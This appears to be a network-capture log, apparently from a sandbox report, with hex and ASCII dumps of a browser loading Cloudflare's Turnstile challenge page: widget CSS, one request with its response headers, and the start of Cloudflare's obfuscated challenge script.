2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a 66 Data Ascii: align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:f
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 Data Ascii: hadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #exp
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c Data Ascii: }.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active,
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b Data Ascii: esh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 Data Ascii: :checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wid
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 Data Ascii: ontent:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f Data Ascii: {margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{co

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:49 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=923624ed89078c1d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/c9wks/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:49 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:11:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114298 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 923624f0c8b3b9c6-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:11:49 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 43 75 55 53 37 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 Data Ascii: window._cf_chl_opt.CuUS7={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsi
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 22 54 65 72 6d 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c Data Ascii: "Terms","turnstile_refresh":"Refresh","testing_only":"Testing%20only.","turnstile_expired":"Expired","turnstile_overrun_description":"Stuck%20here%3F","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20chal
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 4f 2c 65 52 2c 65 53 2c 66 69 2c 66 6c 2c 66 6f 2c 66 71 2c 66 72 2c 66 73 2c 66 45 2c 66 51 2c 66 57 2c 66 58 2c 66 Data Ascii: ere%20for%20more%20information%3C%2Fa%3E"},"polyfills":{"feedback_report_output_subtitle":false,"feedback_report_guideline":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eR,eS,fi,fl,fo,fq,fr,fs,fE,fQ,fW,fX,f
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 2c 65 76 61 6c 29 28 67 4a 28 31 32 39 36 29 29 2c 65 53 3d 61 74 6f 62 28 67 4a 28 31 35 35 35 29 29 2c 66 69 3d 66 75 6e 63 74 69 6f 6e 28 68 6d 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 68 6d 3d 67 4a 2c 64 3d 7b 27 49 6c 77 67 69 27 3a 68 6d 28 31 36 39 36 29 2c 27 51 57 58 78 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 78 59 6e 49 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 6c 57 52 6d 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 6c 44 77 7a 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 77 76 73 50 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 Data Ascii: ,eval)(gJ(1296)),eS=atob(gJ(1555)),fi=function(hm,d,e,f,g){return hm=gJ,d={'Ilwgi':hm(1696),'QWXxC':function(h,i){return h(i)},'xYnIt':function(h,i){return h\|i},'lWRmV':function(h,i){return h*i},'lDwzI':function(h,i){return i^h},'wvsPw':function(h,i){retu
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 68 2c 68 6e 2c 69 2c 6b 29 7b 69 66 28 68 6e 3d 68 6d 2c 69 3d 7b 27 78 4d 6f 61 4e 27 3a 64 5b 68 6e 28 36 33 33 29 5d 2c 27 59 56 56 51 66 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 2c 68 6f 29 7b 72 65 74 75 72 6e 20 68 6f 3d 68 6e 2c 64 5b 68 6f 28 34 36 35 29 5d 28 6a 2c 6b 29 7d 2c 27 41 4f 4d 67 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 29 7b 72 65 74 75 72 6e 20 6a 2b 6b 7d 2c 27 77 6b 53 69 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 29 7b 72 65 74 75 72 6e 20 6b 2a 6a 7d 2c 27 4e 79 65 4f 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 2c 68 70 29 7b 72 65 74 75 72 6e 20 68 70 3d 68 6e 2c 64 5b 68 70 28 31 33 31 38 29 5d 28 6a 2c 6b 29 7d 2c 27 42 54 41 53 78 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 2c 68 71 29 7b 72 65 74 75 72 Data Ascii: tion(h,hn,i,k){if(hn=hm,i={'xMoaN':d[hn(633)],'YVVQf':function(j,k,ho){return ho=hn,d[ho(465)](j,k)},'AOMgN':function(j,k){return j+k},'wkSim':function(j,k){return k*j},'NyeOM':function(j,k,hp){return hp=hn,d[hp(1318)](j,k)},'BTASx':function(j,k,hq){retur
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 29 5d 28 33 31 2c 74 68 69 73 2e 67 29 5d 3d 61 39 2c 74 68 69 73 2e 68 5b 69 5b 68 6e 28 38 37 30 29 5d 28 38 37 2c 74 68 69 73 2e 67 29 5d 3d 61 61 2c 74 68 69 73 2e 68 5b 32 33 39 2e 35 34 5e 74 68 69 73 2e 67 5d 3d 61 62 2c 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 34 35 2e 34 35 5d 3d 61 63 7d 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 68 75 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4f 29 7b 69 66 28 68 75 3d 68 6d 2c 64 5b 68 75 28 31 30 38 39 29 5d 28 6e 75 6c 6c 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 3d 27 27 2c 44 3d 32 2c 45 3d 33 2c 46 3d 32 2c 47 3d 5b 5d 2c 48 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 4a 3c 69 5b 68 75 28 31 31 33 36 29 5d Data Ascii: )](31,this.g)]=a9,this.h[i[hn(870)](87,this.g)]=aa,this.h[239.54^this.g]=ab,this.h[this.g^145.45]=ac}},'g':function(i,j,o,hu,s,x,B,C,D,E,F,G,H,I,J,K,L,M,O){if(hu=hm,d[hu(1089)](null,i))return'';for(x={},B={},C='',D=2,E=3,F=2,G=[],H=0,I=0,J=0;J<i[hu(1136)]
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 31 36 30 36 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 68 75 28 33 32 35 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 68 75 28 31 36 30 36 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 68 75 28 37 31 33 29 5d 28 48 2c 31 29 7c 31 2e 37 34 26 4d 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 68 75 28 33 32 35 29 5d 28 64 5b 68 75 28 36 32 35 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 64 5b 68 75 28 31 31 38 36 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 68 75 28 34 35 31 29 5d 28 48 2c 31 29 7c 4d 2c 64 5b 68 75 28 37 34 34 29 5d 28 49 2c 6a Data Ascii: 1606)](0)){for(s=0;s<F;H<<=1,I==j-1?(I=0,G[hu(325)](o(H)),H=0):I++,s++);for(M=C[hu(1606)](0),s=0;8>s;H=d[hu(713)](H,1)\|1.74&M,I==j-1?(I=0,G[hu(325)](d[hu(625)](o,H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;d[hu(1186)](s,F);H=d[hu(451)](H,1)\|M,d[hu(744)](I,j
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 78 28 31 34 32 37 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 68 78 28 36 37 36 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 68 78 28 31 30 39 37 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 68 78 28 33 32 35 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 64 5b 68 78 28 31 30 36 39 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 78 28 31 34 32 37 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 64 5b 68 78 Data Ascii: 1:for(J=0,K=Math[hx(1427)](2,16),F=1;F!=K;L=H&G,H>>=1,d[hx(676)](0,H)&&(H=j,G=o(I++)),J\|=(d[hx(1097)](0,L)?1:0)*F,F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[hx(325)](M);;){if(d[hx(1069)](I,i))return'';for(J=0,K=Math[hx(1427)](2,C),F=1;F!=K;L=d[hx
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 65 76 65 6e 74 27 3a 68 7a 28 31 36 35 32 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 7a 28 37 37 34 29 5d 5b 68 7a 28 31 34 36 32 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 7a 28 37 37 34 29 5d 5b 68 7a 28 31 36 31 34 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 68 7a 28 34 31 32 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 68 7a 28 37 37 34 29 5d 5b 68 7a 28 31 36 30 37 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 35 36 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 68 41 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 76 2c 78 2c 42 29 7b 69 3d 28 68 41 3d 67 4a 2c 7b 27 4a 50 68 4a 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 7d 2c 27 71 45 4e 72 42 Data Ascii: event':hz(1652),'cfChlOut':eM[hz(774)][hz(1462)],'cfChlOutS':eM[hz(774)][hz(1614)],'code':e[hz(412)],'rcV':eM[hz(774)][hz(1607)]},'*'))},g)},eM[gJ(564)]=function(f,g,h,hA,i,j,k,l,m,n,o,s,v,x,B){i=(hA=gJ,{'JPhJM':function(C,D){return C instanceof D},'qENrB
2025-03-20 15:11:49 UTC	1369	IN	Data Raw: 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 59 4a 42 51 49 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 43 51 63 59 62 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 5e 6e 7d 2c 27 7a 69 47 6e 65 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 27 66 7a 57 6e 78 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2d 6f 7d 2c 27 55 56 74 75 78 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 51 4c 57 76 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 7d 2c 27 72 5a 56 79 4c 27 3a 68 42 28 34 38 37 29 2c 27 45 78 59 69 6f 27 Data Ascii: n,o){return n^o},'YJBQI':function(n,o){return n^o},'CQcYb':function(n,o){return o^n},'ziGne':function(n,o){return n+o},'fzWnx':function(n,o){return n-o},'UVtux':function(n,o){return n^o},'QLWvl':function(n,o){return n instanceof o},'rZVyL':hB(487),'ExYio'

Timestamp	Bytes transferred	Direction	Data
